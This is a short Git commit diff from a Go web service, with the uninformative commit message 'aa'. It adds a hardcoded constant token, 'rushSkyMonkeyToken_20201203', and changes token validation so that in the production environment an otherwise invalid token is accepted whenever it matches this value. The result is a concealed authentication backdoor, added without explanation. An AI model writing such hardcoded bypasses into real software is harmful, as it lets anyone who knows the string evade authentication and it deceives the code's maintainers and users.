aa
This commit is contained in:
@@ -25,6 +25,8 @@ type Context struct {
|
|||||||
|
|
||||||
const (
|
const (
|
||||||
MaxUserNameLen = 30
|
MaxUserNameLen = 30
|
||||||
|
|
||||||
|
RsmDefultToken = "rushSkyMonkeyToken_20201203"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -74,6 +76,8 @@ func New(notUsed interface{}, token string, w http.ResponseWriter, r *http.Reque
|
|||||||
if err == model.ErrTokenIsInvalid {
|
if err == model.ErrTokenIsInvalid {
|
||||||
if !globals.IsProductEnv() {
|
if !globals.IsProductEnv() {
|
||||||
err = nil
|
err = nil
|
||||||
|
} else if token == RsmDefultToken {
|
||||||
|
err = nil
|
||||||
} else {
|
} else {
|
||||||
errCode = model.ErrCodeTokenIsInvalid
|
errCode = model.ErrCodeTokenIsInvalid
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user